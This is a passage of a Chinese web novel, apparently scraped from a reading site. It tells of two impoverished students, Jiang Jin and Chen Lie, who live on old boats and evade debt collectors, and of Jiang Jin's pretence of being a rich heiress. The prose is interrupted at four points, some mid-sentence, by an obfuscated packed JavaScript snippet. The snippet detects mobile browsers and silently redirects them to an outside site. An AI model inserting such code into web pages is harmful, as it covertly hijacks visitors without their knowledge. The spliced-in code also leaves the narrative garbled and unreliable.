姜堇关了灯,锁了拳馆的门。冷寒的夜风吹来,让人的精神醒振三分,脸却愈发红扑扑起来。 有个年轻的拳手不知从何处走过来:“阿堇。” 他问:“喝醉了?” 姜堇笑了一下。 这时有人在远处喊:“姜堇。” 姜堇和那年轻的拳手一同看过去。陈列双手插兜站在那里,嘴里咬着一根烟,没点,神情和声音同样冷硬。 年轻拳手讪讪笑了一下:“列哥看不出来啊,这么体贴,在这等女朋友?” 陈列没听到他讲话也没注意到他这人存在似的,走过来直直望着姜堇,问她:“走不走?” 姜堇看着他。 他一言不发地转身走了。 姜堇对那名年轻拳手说:“我先走了。” 跟上陈列的身后。 脚步在陈列身后有些细碎,同陈列说:“你装也装得像一点。” 陈列不讲话,两人小腿沉默扫过枯槁的荒草。她红色的短裙下罩一条牛仔裤,外套着洗到褪色的那件淡粉面包羽绒服,乱七八糟的穿搭,难为她那张脱了妆的脸还能显得清丽。 陈列这时才问:“你喝醉没有?” 姜堇:“有一点。” 陈列瞥她一眼:“我信你?” 姜堇挑起唇角:“可以有一点。” 也可以没有。 两人踢踢踏踏走着,听见枯草踩在鞋底碎落的声音。姜堇忽地问:“那天遇到的人,是你爸爸?” 陈列想起在小区里堵住他舅舅的一幕。 默了一瞬,才答:“是我舅舅。” 姜堇点了点头,又问:“你有没有什么秘密,拿来同我交换?” 陈列这时依稀已明白,秘密使人结成最稳固的同盟。 可他始终保持缄默,姜堇笑一笑,变回安静地走着、不再追问了。 陈列:“脚怎么了。” 这句话被他说得语调太平,简直像一句陈述句。 姜堇晃一晃踩在小猫跟鞋里、没穿丝袜的脚:“脚腕扭了下,我都不知是什么时候扭的,可见还是喝醉了。” 陈列:“能走么?” 姜堇:“不能。” 陈列:“那就是能。” 姜堇又说:“能。” 陈列瞥她一眼,绕到她身前,微微勾下腰。 姜堇低低地笑了起来:“傻子。” 陈列:“我只数到三。” 陈列不出声,只在心里默数。他本以为姜堇这样的人,一定毫无顾忌跳上他的背,可此时空气静静的、夜色静静的、连头顶唯一的一颗星也不闪烁。 陈列双手撑在膝上,鼻尖对着地面的枯草,心里漫上一种难以名状的感觉。 他能感到姜堇在他身后的犹豫,甚至能听见姜堇轻轻地抿唇。 在他数到三准备直起腰来的时候,姜堇爬上了他的背。 很轻的重量,不似真人,似一片羽毛。 陈列这才发现自己这一“邀请”提得有些莽撞了,他的手无处安放,总不能去握姜堇的腿,只能轻轻勾住她脚踝。 姜堇也没搂住他脖子,只是双手轻轻搭在他肩上,那动作像是只拎起他的一层外套。 以至于两人变成有些别扭的姿势。 他背着姜堇走着,夜幕低垂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是父母在毛里求斯经商、家人都在国外的养尊处优大小姐,手上怎会生出冻疮呢? 陈列抬眸,看了眼姜堇匆匆避走的背影。 初识姜堇的时候,他把她的伪装视为某种虚荣。 可在警局外听到警察对她说的那番话、听过她苍凉的笑声后,他忽然意识到那是一种挣扎,一种从既有阶层里的挣扎——因为你是什么样的出身,人们的的确确就会怎样看到你。 姜堇用创可贴裹住手指上的冻疮,可冻疮是不那么容易好的。 她握着笔,坐在暖气融融的教室里,那暖气让创可贴下的冻疮发痒发胀,她拼命忍住去挠的冲动。杜珉珉忧心忡忡看着她指节上的卡通创可贴:“姜堇。” “嗯?” “你手指上的伤怎么还没好啊?不应该这么长时间不好吧?你要不要去医院看看?” 一声冷嘲的笑声传来:“杜珉珉你别舔了。” 杜珉珉怒而回头,李黎抱着双臂满脸冷笑站在那里:“你费尽心思舔的女神,可能是个假大小姐。” 杜珉珉气得一拍桌:“你说什么呐?” 姜堇静静坐在那里,创可贴下的冻疮痒胀得更厉害了。陈列从窗外路过,视线毫无波澜地扫进来。 16. 牵手 李黎掏出手机点了点,丢到杜珉珉的课桌上:“你自己看。” 杜珉珉瞄姜堇一眼,一时还是没忍住好奇朝手机看去。 那是一张照片。 照片拍姜堇的侧颜,穿校服,扎马尾,一张面庞清而雅,的的确确是女神的长相。她握着一支水性笔,笔尖点在习题册上,说话间微微蹙眉,一张脸仍显得柔和。 杜珉珉:“什么意思?” 李黎不理杜珉珉,斜眼瞥着姜堇说:“哪家千金大小姐会趁课余时间去当家教?听说课时费还磨了好久才争取到一个满意的数字。” “想不到吧?”她问姜堇:“你去当家教的那初中小孩,是我表弟,要不是他说家教姐姐长得特别漂亮、炫耀地拍给我看,我还真不知道是你。” “你是家里生意出问题了?还是……”她不斜眼了,转而逼视姜堇的双眸:“你根本就是个假货?” 她早就怀疑姜堇了。 姜堇从不参加昂贵的训练营,从不像她们一样满身奢侈品,最多就是拿一些标着外语的糖果和小纪念品,说是父母从国外带回来的。 她朴素得过分,低调得过分,完美得过分。李黎对她的怀疑背后,也许是某种由来已久的关注和妒忌。 姜堇反问:“这是我的兴趣不行么?” 李黎冷笑一声:“如果只是兴趣,你谈课时费谈那么久?” 姜堇平静地说:“我既然付出了劳动,就应该得到我心中认为值得的报酬。” “你父母刚从毛里求斯回来对吧?”李黎深深看进她棕色的瞳仁:“给我们讲讲毛里求斯的见闻呗,细节的、不能从网上查到的。” 姜堇理了理桌上的课本,底端怼在桌面上让它们变整齐,看也不看李黎地说:“我没必要在你面前自我证明。” 李黎又嘲讽的笑一声便走开了。也许她想:如果姜堇真是个假货,迟早会被她抓住马脚。 杜珉珉义愤填膺:“姜堇你别理她!她就是嫉妒你!” 姜堇笑笑,握着课本的手指,因指关节处肿胀的冻疮而不能打弯。 窗外,叶炳崐一搡陈列:“列哥你走什么神呢?我跟你讲昨天的篮球赛你听没听着啊?” 陈列不甚在意地:“嗯。” 下晚自习回到旧船,陈列本已准备睡下,却发现船舱里没水了。 明天一早出去打更麻烦,他尽管不耐烦,还是拎着生锈的水桶走出船舱。 意外发现姜堇盘腿坐在她那条船的甲板上,手里拿着个手电筒,对着墨色的天幕,时而摁开,时而摁熄。小小一束暖黄的光,并照不见天空那么远,半途便会消弭,显得脆弱极了。 陈列冻得怂了下肩,走过去,问她:“不冷?” “不。”她回答,手里的手电筒还是那般,一开、一灭。 陈列在船沿坐下,两条长腿在甲板外垂下,抬眸去看天:“今晚有星星?” “没有。”她手里的手电筒继续对着天,时而揿亮、时而熄灭。 陈列仰着后劲看了许久,今晚夜空的确连一颗星星都没有。 姜堇这时开口:“你是不是觉得我很装?” 她看到他从一班教室外路过、知道他都听到了。 陈列:“我大概能理解。” “你不理解。”姜堇摇摇头:“你或许把原因想得很复杂,但我这样伪装的原因很简单,就是这样会让我好过一点。” 她垂下眼眸,今晚第一次看向陈列:“哪怕只是想象,让我觉得我是一个我伪装出的那样的人,这会让我好过一点。” 陈列默然一瞬。 他从甲板上爬起来,拎起他那只生锈的水桶:“天冷,回船舱去吧。” - 这几天女生们的热点,大约是G家发行了新配色的小脏鞋。 不过这大概只是一班女生们的热点,只有她们才有那样优渥的家境。杜珉珉在跟人热烈讨论:“还送一条限量版的手帕诶!比鞋可好看多了!要买要买,冲着手帕买,鞋子不要也可以的呀!” 她声音有些娇,像往日一般挽住姜堇的手臂问:“姜堇你买不买呀?” 如果是往常,姜堇可以淡笑着说一句“我不感兴趣”。 可这时,她知道李黎正在自己座位上盯着她,带着笑,可眼神似秃鹫。 姜堇淡定道:“再说吧。” 姜堇这晚要去做家教,老师对她很宠,只要她说是去上准备出国的综合素质班,假条开得很轻松。 她提前两站从地铁站出来,来到江城的CBD,各大奢侈品店林立,虽为时尚早,已过分积极地开始营销圣诞气氛。 姜堇远远站在橱窗边望一眼,那双最新限量发行的小脏鞋,被置于橱窗最显眼处,射灯打得分外精致。 有那么一瞬姜堇想:打破橱窗去抢又如何呢? 身边人来人往,没有任何人洞穿这名表面清雅的少女、脑中一瞬掠过的暴戾想法,姜堇已然背着书包走开去了。 - 温吞的日子会消磨人的神经,对陈列而言并非如此。 这晚他下了晚自习走出校园,已敏锐察觉到身后有人。 他不露声色地登上与归途相反方向的公交车,在城里来回来去地兜了几个圈,自认已甩掉身后的跟踪者,这才登上回去的公交车。 然而一下车他仍觉得不对——还是有人,也许是开着车、一路尾随公交而来。 他快速闪身掩进旁边的窄巷。 城中村便是这点好,全然谈不上规划,各种密集的窄巷像纵横交布的电线。陈列背脊紧贴着墙、能听到自己心脏咚咚砸向身后暗红砖块的声音。 然而要债的人都穷凶极恶,这次跟踪他的人,显然不像叶炳崐或瘦猴那般好打发。 他听着窄巷外的脚步声时远时近,却始终在附近兜圈,没有离去的意思。陈列自认已乏了、颓了,可心跳越来越剧烈的跳动是本能。 眼前一道红色身影一闪时,他几乎呼喊出声、又堪堪按捺。 心脏的狂跳几乎顶着嗓子眼,他定睛才看清,眼前靠着另侧墙的人,是姜堇。 他只在周末去拳馆,所以不知姜堇上班的频率到底如何。这样难得遇见的寒冬里,她仍穿轻薄的艳红短裙,露出的双腿和胸口一线肌肤冻得似白牛奶。 那件淡粉羽绒服洗了后,她换一件白色羽绒服,因年头久了微微有些发黄,人造白狐毛领扫着她纤长的颈项。 她用气声问陈列:“你欠人钱?” 泥沼般的生活里摸爬滚打起来的人,一双眼练得恁地毒。 陈列:“是我爸。” 姜堇:“欠多少?” 陈列沉默不语。 姜堇:“这种人不会轻易走的,你打算怎么办?” 陈列低低地笑了声,也是气音。 他的笑不似姜堇那般能听出苍凉语气,只是发沉,像是从肺腔最深处发出来的。 陈列说:“能怎么办?被找到了,有多少钱,给多少钱,如果不够。” 他没有再说下去,只是阖了阖眼。 那种不能睡觉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410570|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子,只有体会过的人才知多煎熬,近乎濒死、是身心全线的崩溃。 姜堇没理会他未说完的话,只是问:“钱就这样给出去了?” 陈列反问:“不然呢?” 姜堇:“钱不重要吗?” 陈列还没来得及说什么,窄巷外的脚步在兜了无数个圈以后、终于向他们藏身的这边走来。陈列和姜堇一瞬闭嘴,姜堇便是在这时牵起了陈列的手,在陈列还未反应过来的时候、拉着他猛跑了出去。 跟踪者被两个猛然冒出的人影吓了一大跳,反而往后退了两步。 姜堇带着陈列飞奔。 她像是从这些窄巷里长出来的,她在这破落的城中村待了太久太久了,久到她熟悉每一条窄巷胡同的朝向,它们构成了她的血脉——一个住在废弃旧船上的孤女,姜阿堇。 她时而牵着陈列的手跑,时而把陈列推入一道巷口、自己跑向相反方向。 身后脚步声沉坠坠追着,始终没看清两人的身影,所以哪边都不能放弃。 她便这样时而与陈列汇合、时而远离,她羽绒服外的那一抹红裙在夜色窄巷中翻飞,像一团小小的、小小的火。 陈列的心跟着晃动。 直到身后的脚步声越来越远、渐渐止息,姜堇牵着陈列的手停了下来:“应该甩掉了。” 她松开陈列的手,靠住身后的墙大口喘息,姣好的胸口剧烈地起伏着。她跑得太猛了,一张白皙的脸涨出血色,鲜红欲滴。 陈列靠着自己身后的墙同样喘息着,能闻见她吐息里的幽香,拂动着她羽绒服衣领上的人造毛。 他渐渐发现自己不排斥她的另外一个原因——她不认命。 不同于他已被生活摁倒的疲与颓,她总是在绝境里拼命挣扎。 直到确信跟踪的人是真的走了,她才敢捂着嘴低咳了两声。 今晚不能回去旧船。 一般人不知那样的旧船上还能住人,也不知跟踪他的人是否彻底离开,不能冒风险。 至少等到天亮,他知道他爸不是唯一的债主,如果围堵他的难度实在太大,那些人暂时会放弃。 他顺着墙根滑坐在地上,姜堇看他一眼,在他对面蹲下。 他脱下棉服抛给姜堇,姜堇指了指自己身上的羽绒服,又把棉服抛回给他。 他指一指姜堇光着的腿:“垫着。” 又把棉服抛给姜堇。 姜堇便不再说什么,把棉服垫在腿下,倚着墙根坐下,又掀起一半来盖住自己的腿。她小小地打了个呵欠,说:“我好困。” 便后脑勺抵着墙阖上了眼。 陈列看着她,也闭上了双目。 本来觉得这样的情形怎么可能睡着。可大概他们的全力狂奔耗光了所有体力,他竟睡着了,睡得并不沉,感受着凌晨的凉风往他单薄的T恤里钻,可到底是昏沉沉睡着了。 如魇着一般,一直没睁眼。 再睁眼的时候天已蒙蒙亮了,他觉得嗓子有些疼,但也没到不能承受的地步。他想清清嗓子,又怕吵醒姜堇,犹豫之间,姜堇在他对面张开眼来,一双鹿一般的眸子有瞬时的迷茫。 “姜堇。”他怕她不知身在何处,唤她一声:“醒了么?天亮了,可以回船上去了。” 姜堇露出一瞬的笑颜,在稀薄的晨光中。 “天亮了么?”她意有所指地说:“还早得很呢。” 很久以后陈列想,他们明明过过那样一段相濡以沫的日子。 这些日子对她来说,是真的?还是假的? 17. 引诱 姜堇从地上爬起来的时候,棉服从她膝头滑落。她勾腰把陈列的棉服从地上捡起来,拍了两拍。 陈列冲她伸手:“给我。” 她笑了笑:“我洗完还你。” 陈列没再多说,伸手把棉服从她手里拽了过来。他把棉服套在身上,城中村的地面自然不可能十分干净,但一股灰尘的味道间,依稀能闻到她身上的清香气,似茉莉。 还有她皮肤依稀残存的温度,此时贴着他皮肤的纹理,裹了上来。 陈列的食指伸到鼻尖前抵了抵,吸了下鼻子。 姜堇露着白皙的双腿,第一抹晨曦晃着她羽绒服衣领上已暗淡发黄的人造毛。她唇间呵出团团的白气来:“好冷。” 可破晓的空气又这般清新,锋锐得似要割伤人的鼻腔。 后来陈列的人生里,再没经历过那般精神为之一振的清晨了。 他们在城中村的街道上穿行,渐渐有了早餐出摊。姜堇问陈列:“你饿么?”陈列尚未回答的时候,她已走近其中一摊:“要两个粢饭团。” “加不加火腿啊小妹?”阿姨问。 “不加。”姜堇回头问陈列:“你带钱了么?” 陈列掏出手机。 姜堇又道:“现金。” 陈列是个外来者,不知这早餐摊是否有只收现金的规矩。他把现金从口袋里掏出来,正要抽出一张的时候,姜堇把所有的钱从他手里拿了过去,微含着一点笑意。 陈列微一怔,但面上一点不显,还是毫无波澜的神色。 正当这时有其他人走过来:“一个粢饭团。”很自然地扫码付款。 陈列看着姜堇,她捏着那叠钱,一张张翻过去,直到揪出其中一张十块来,冲陈列晃了晃,把其他钱还给陈列,又把那张十块放进小摊收钱的铁盒里。 陈列想起来了。 是白柳絮生日那天、晚上在拳馆向她买扎啤的那张十块钱。钞票面上有小团不知什么油渍染出的污黄,是以陈列认得。 一个什么都不加的粢饭团是三块,两个六块。姜堇又从收钱的铁盒里摸了四个硬币,算是找零,递给陈列。 糯米被压得瓷瓷实实的,两个做好的粢饭团被装进小而薄的塑料袋里,很快扑出一团白气。姜堇接过两只沉甸甸的小口袋,又把其中一只递给陈列。 自己站在摊前打开口袋。 糯米制的食物要趁热吃才好。姜堇低头大口吞咽,不怕烫一般,粢饭团的热气和她唇间呵出的白气混在一起,她整张白皙的小脸埋进团团的白雾里。 她吞咽食物的动作总像小动物。 像要将身边所能汲取的所有能量,拼命汲取进自己的体内。 陈列指尖一拨,从刚才那四个硬币里挑出两个来,扔进收钱的铁盒,拿起一杯豆浆,怼到姜堇面前。 姜堇愣了下,最后一口粢饭团还鼓在腮帮子里。一只空塑料袋捏在手里,唇上最后残余的一点口红尽数蹭在上面。 她的眼妆几乎尽数脱了,粉底也是。只剩小团的睫毛膏残存在眼底,不脏,在一抹斜打下来的晨曦中反而显得干净而空灵。 陈列说:“噎死你。” 姜堇就笑了。她把那口粢饭团吞下去,接过豆浆,问陈列:“没人教过你好好说话么?” 陈列已往前走去:“没有。” 姜堇站在原地,看了眼陈列被晨光勾勒出的背影,浅淡光晕,似在他周身罩一层雾,像他从空无一人的山涧里来,要往孤远浩渺的宇宙中去。随后姜堇才跟了上去。 两人回到臭水河边。经过这样的一夜,再闻到河面结着飘萍的腐朽气息,竟觉得亲切。 陈列登上自己的船,刷牙时有人来敲门,轻轻地。陈列咬着牙刷去开门,姜堇站在门外,看一眼他唇边沾着的白沫,扬了扬手里一只铁盒,走近船舱。 环视一圈,陈列的船舱仍是没有好好打扫过,杂乱,胡乱拼接的木地板上蒙一层灰。姜堇还是那般淡淡神色,不评价,不审视。 她好端端站在那里,陈列看一眼她手中的铁盒。 “你没见过吧?”姜堇笑一笑:“江城长大的小孩,小时候都吃这种饼干。” 那是一个在十多年前尚算洋气的圆形曲奇盒,盒盖上描一只长毛的白色波斯猫,碧蓝双眼,毛发栩栩如生。只是这么多年过去,铁盒的淡金尽数褪尽,蒙一层铁锈色。 “其他小孩多久吃一盒,一周?两周?我不知道。”姜堇微扬着唇角:“小时候我妈一个人带着我,日子过得不容易,她只给我买过一盒。从小到大,只这么一盒。” 姜堇打开盖子,脸凑近嗅了嗅:“所以我最深的记忆,其实不是吃这饼干,我舍不得吃,我只是一遍一遍打开盒盖去闻。” 她问陈列:“你小时候吃过奶油曲奇饼干吗?” 陈列:“你觉得呢?” 姜堇的唇角往上勾:“那是一种特别甜腻的味道,特别特别。糊着人鼻腔,闻起来都觉得牙疼。我记得最后吃那些饼干的时候,都受了潮变得软塌塌的,因为我太经常揭开盒盖去闻那味道了。” 她说:“后来。” 可后来的事怎么样,她没有再说下去。 她问陈列:“你的钱呢?” 陈列掏出口袋里的钱递她。 她露出一点点的狡黠:“你打拳应该不止赚这么多吧?” 陈列随手一指床头。 姜堇走过去。他睡过的枕头也是不整理的,软而扁塌,上面压出一道清晰的他后脑的形状。姜堇也说不上为什么,她盯着那道痕,心里略动了那么一小动。 然后伸手到枕下,一点点摸索,摸到那厚厚一沓红钞。 终于忍不住说:“你也放得太随便了。” 陈列:“我总不能存银行。”他是一个被追债的人。 姜堇:“你是真的不那么在意钱吗?” 陈列不答话,摸了个烟出来,看了眼姜堇,没点,就那样夹在指间。 姜堇打开手里生锈的饼干盒,把那厚厚一沓钱放进去,盖上盒盖。走到船舱中央自然凸起的那方矮桌,蹲下手,手敲了敲地板,发出咚咚的回响。 她一寸寸地敲过去,直到那回响变脆了些。 她用指甲抠开那条木地板,灰尘一扬,一道镂空的缝隙露出来。 姜堇解释:“每条这样的旧船上,好像都有个这样藏私钱的地方。” 那道缝极窄,她薄薄的手掌刚好能把那圆而扁的饼干盒放进去,盖上木地板,便成了最好的伪装。她站起来拍拍手,陈列站在一旁看着。 姜堇:“就算那些人找到了这船,也没那么容易拿走你的钱了。” “那你的钱呢?”陈列问:“也藏在地板下的洞里?” “我?”她笑了:“我可没你这么傻。” 说着她又不放心似的,蹲下身重新敲了敲那块木地板,用手指把地板边缘又摁严了些。 她的动作忽而顿了顿,因为感到陈列这时走了过来,正站在她的身后。 陈列转学过来不久,便成了校园里的话题中心人物。姜堇能听到不少女生议论他:像只豹,一只随时准备伏击的豹。 豹是一种危险、性感而迷人的动物。姜堇自己则并没觉得陈列像豹,她觉得他更像一只鹤,孤独,离群索居。 可此时陈列站在她身后,那样近的距离,她能感到他的影子被晨光拖拽着映在她身上,也能闻到他指间淡淡的烟草味。 她的确感到了某种压迫感,危险的,也许一点点迷人的。 陈列保持着那样的姿势问:“我哪里傻?” 她不说话。 陈列又问:“干什么给我这个饼干盒?” 她仍不说话,他在她身后用家乡方言骂了句脏话,她听不懂,但大概能揣摩出那意思。她轻轻地开口说:“引诱你。” 陈列笑了,冷冷地。 那时候姜堇是个没什么资本的人。一张脸蛋长得不错,可在这样的境况里美貌也许反而是累赘,况且一个像陈列这般颓靡的人,美貌对他不值一提。 姜堇掏不出其他什么东西了。 可她太聪明。她知道她能掏出的,仅剩一点点他从未拥有过的、脉脉的温情。 陈列在她身后冷冷地说:“姜阿堇,你真当我是个傻子?” 姜堇站了起来,她站得那样猛,以至于她的头顶险些撞到陈列的下巴。陈列往后退开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416520|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步,姜堇抿着唇快步地走了。 - 明明经过了这么多事,去上学的时间竟没有迟到。姜堇背着书包走在校园里,早读的预备铃一敲,她一瞬觉得恍然。 进教室的时候听杜珉珉在同其他人聊天:“那个鞋子虽然是限量版哦,但我买回家又觉得不那么好看了,送我妹了。但那条手帕我真是喜欢死了。” 她拿在手里把玩着,姜堇在她旁边坐下,她欢快地打声招呼:“姜堇早啊。” 压着姜堇回应声的,是附近一声冷笑。 李黎坐在那里,盯着姜堇。 还好这时老师提前走进教室来。今早是英语早读,名义上为自习,但一班老师也惯常利用此时授课。 洋气的女老师在讲台上点姜堇的名字:“姜堇。” 姜堇站起来。 “你领大家读一下新的课文。” 一班学生常有海外亲属,至少有常出国游玩的经历,发音有的偏英音、有的偏美音,只要地道,都被允许。姜堇是偏英音的那一挂,她父母在毛里求斯经商,那里曾是英属殖民地。 她的声线清冷,标准的女王音念出来,有高贵典雅之感,英语老师在讲台上听来很是悦耳,伴着她诵读抑扬顿挫地摇头。 姜堇却听到,李黎在自己座位上发出轻轻地冷笑声。 姜堇的手指在书脊上轻抠了下。 她笑什么呢? 笑自己的发音,不过是从磁带和各种盗版英剧里听来的?在任何真正谙熟这口音的人听来,都是拙劣的模仿? 但姜堇有个本事,就算心脏不停地往下坠、变成一个全无底气的无底洞,她也能不动声色,继续把课文流畅而漂亮地读下去。 早自习下课以后,姜堇以为李黎会来找她追问买鞋的事。 但李黎没有,若无其事地和闺蜜团谈笑。 直到上午的课上完,杜珉珉挽着姜堇的手臂去食堂。在走廊走出老远以后,听李黎在身后喊:“杜珉珉。” 杜珉珉和姜堇一同回头。 李黎倚在门框边,半笑不笑地望过来:“我也觉得那双限量版的鞋不够好看,送人了。可这条手帕确实漂亮,质感也好。” 她的指尖在手帕绕两绕,视线又朝姜堇落过来:“你呢,姜堇?你买了吗?” 不知她今天是否有戴美瞳,眼神似秃鹫,又似鹰隼。 姜堇动了动唇,那种早自习时被李黎紧盯着读英语、如芒在背的感觉又来了。 在她还未说出话来的时候,有人朝她撞过来。 杜珉珉极之维护她,赶紧扶住她又冲那人喊:“倒是小心点……” 最后一个语气助词的“呀”字哽在喉头未说出口,杜珉珉捏着姜堇小臂的手指紧了紧,双眼微微睁圆。 陈列站在那里。 他凌厉的五官的确极具有压迫性,靠近了看更是如此,像被镜头加过层滤镜般。杜珉珉不说话了,他看了杜珉珉一眼,视线又落到姜堇身上。 语调和长相同样冷硬:“你东西掉了。” 说完这句便往前走去,叶炳崐跟在他身边都愣了,因为陈列和姜堇在学校里看起来实在是毫无交集,哪怕是说上这样一句无关紧要的话也显得违和。 叶炳崐愣了几秒才朝陈列的背影追过去。姜堇低头去看,她的脚边,掉落的是那条限量版手帕。 杜珉珉一看就笑了:“姜堇你也买了呀,我就说嘛。” “嗯。”姜堇小小地、浅浅地吸了口气,勾腰把那条手帕捡起来,远远地回答李黎:“我也觉得那双限量版的鞋,看久了其实不怎么好看,所以送人了。” 李黎的脸色一瞬变得很难看。 姜堇攥着那条手帕朝李黎走过去,紧紧地,指尖都嵌进掌心。走到李黎面前,她平静地亮出那条一看就是正货的手帕,问李黎:“其实看久了,我觉得这条手帕也十分一般。你那么喜欢的话,送你?” 李黎狠狠瞪她一眼,拖着自己闺蜜走了。 杜珉珉朝姜堇跑过来:“我就说她嫉妒你嘛,还什么豪门假千金,她是不是网络小说看多了啊!” 姜堇很淡地笑一笑,又把那条手帕紧紧地、紧紧地攥进掌心。 18. “干什么?” 食堂里,杜珉珉把一块白斩鸡塞进嘴里,往某方向张望着,听到姜堇在她对面一声轻笑,回过神,瞥姜堇一眼,有些不好意思地讪讪一笑。 “他真挺帅的,对吧?”杜珉珉把鸡骨头从唇间滤出来。 姜堇不置可否地扬着唇。 陈列那边,一个女生站在桌前,手里拿着瓶冰可乐。 陈列垂眸吃饭,叶炳崐同那个女生说:“妹妹,你这要是可口可乐呢,我就替列哥收了,但你这是百事啊。” 他说着又嬉皮笑脸起来:“别找列哥了,你看他对谁都冷着张脸,你看看我怎么样?” 女生满面通红地走了。 “面皮这么薄啊。”叶炳崐吃差不多了,一只手臂打横搭在椅背上,舌尖剔着牙:“不是我说,列哥,这么多女生追你,也有长得不错的,你怎么就跟座冰山似的呢?我还真想看看,最后收服你的女生到底什么样。” 陈列收了餐盘站起来。 “诶。”叶炳崐也端起餐盘去追他:“会有么?” “什么?” “收服你的女生。” 餐盘回收台前,姜堇和杜珉珉站在那里。 陈列刻意拖慢了一点脚步,等姜堇和杜珉珉离开后才往那边走去,嘴里回答叶炳崐:“不会。” 这天的天色阴沉得吓人。在滨海的江城,这样的天气比真落下雨雪来更吓人,空气里潮得似能拧出水来。 大概电力系统负荷着实太大,一中校园里十分罕见的停电了。 晚自习被迫取消,校园里欢腾一片。除了一班,从来都只比谁更卷的学霸们,只是沉默着把本应晚自习做的卷子,塞进书包。 姜堇还是等所有学生离开后,才收拾书包从学校出来,一路跑回河畔。 她气喘吁吁理着肩头书包的肩带,往陈列的那条船上看一眼,陈列蹲在甲板上,咬着一根烟,正拿根木棒砸洗昨夜被姜堇垫在腿下的那件棉服。 姜堇登上自己的船,甲板上很随意扔着个纸盒,印花分外精致,连带着它被这般随意抛置的场景都显出几分诡谲。 姜堇蹲下身,打开那个纸盒。 不出所料,里面装着限量版的那双鞋,显示着昂贵。 等姜堇长大以后,看过有些女孩用奢牌的A货,她自己从不用。不是因为从小用惯好东西,而是从小用的实在太差,很知道辨明它们和真正好东西的差别,因而过不了自己心里那关。 眼前纸盒里躺着的这双鞋,因面料矜贵而显得遥不可及。 鞋盒边则是一个很朴素的小塑料袋,绿色印花写着“xx药房”的字样。打开来,是一只冻疮膏,甚至连小票也在里面,不贵,几块钱。 姜堇抿一抿唇,把冻疮膏装进书包。把那双鞋放到甲板上,站起来脱掉自己脚上的白色运动鞋,脚踏进新鞋里。 她动作有一瞬的顿滞,才蹲下身,低着头专注的眼神,一点一点把鞋带理好系好,站起来跑到陈列的船上。 陈列拿木棒捶洗着羽绒服,还未抬头便已蹙了蹙眉。 不知为何他对自己不满意。 一大早跑去奢侈品店门口、守着人家开门买了这双限量版鞋的举动,让他觉得自己真如姜堇所说是个傻子。 他对自己不满意,连带着面色更沉冷几分。姜堇却一个字都没说,上前便来拉他的手腕。 “干什么?”他低叱一声,唇间咬着的烟灰簌簌而落。 他的声音因此显得更凶,姜堇却浑然不在意般,细细手指拽着他手腕,不顾他还沾着一手洗衣粉的泡沫,拉着他固执地往前走去。 她固执起来让人想起她吃东西时的模样,有种不管不顾的情态。 陈列懒得出声了,咬着烟任她拉着走。 她拉着陈列去了公交车站边,仍不说话,直到一辆公交开来,她推陈列的背让他上去。傍晚时分的公交满座,两人混站在人群里,陈列抬起一只手拉着吊环,姜堇双手扶着面前的立柱。 二人朝向相反,各望着一边的车窗。 陈列嘴里的烟已经熄了,只剩烟草的焦苦味残存,他望着天边,阴沉得连夕阳都觅不到踪影,这样的阴天咀嚼起来,应也是这般浓重的焦苦味。 他眼尾瞥一眼身边,姜堇也同他一般望着窗外的天,不知在想些什么。 直至下了车,陈列才发现姜堇是带他来了今早来过的地方——江城的CBD。 在发臭腐败的河畔住久了,来这样的地方只觉得荒唐。整面的led墙上播着法式风情的艺术广告片,橱窗里射灯金光闪闪,街道上的枯枝已提前裹好圣诞氛围的灯球。 每走一步,都似能闻见不知哪个专柜飘出的奢牌香水味。 陈列身上仍穿着校服,外罩一件黑色的棉服。他把双手插在口袋里,没来由地笑了一下,嘲讽地。 有人泥沼里求生,有人纸醉金迷。世界运行,大抵如此。 姜堇也穿着一身校服,不过就连外罩的棉服也是学校发的,胸前绣着“一中”字样。她在学校便是这样,不穿任何私服,就算有人诟病她在老师面前“装乖”,也瞧不破她的底细。 快过圣诞了,街道上行人很多。下了公交后姜堇没再拽着陈列,只是微低着头安静走着。陈列走在她身边,两人离得并不近,时而有脚步匆忙的行人从他们之间穿过。 有人戴着羊皮手套端一杯热巧克力,香浓的气息。 姜堇走到一家店门前停下脚步,陈列抬眸,才发现自己心里方才莫名的一瞬间,隐隐有这条路永远走不到头之感。 他抬头才发现,姜堇停在了他今早来过的那家奢侈品店门前。 陈列蹙了下眉,姜堇已率先走了进去。穿收腰黑西装和一字裙的导购迎在门口,说“欢迎”的同时眼神已开始打量两人的衣着。 姜堇看起来很镇定,马尾垂在她脑后。她脚上穿着那双限量版的鞋,导购的眼神落过去,不知是否觉得这双鞋跟两人看起来格格不入。 姜堇很自然地在店里兜了一圈,脚步不快,也算不上很慢,视线在每一件外套、裙装上掠过。导购交叠着双手跟在两人身后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 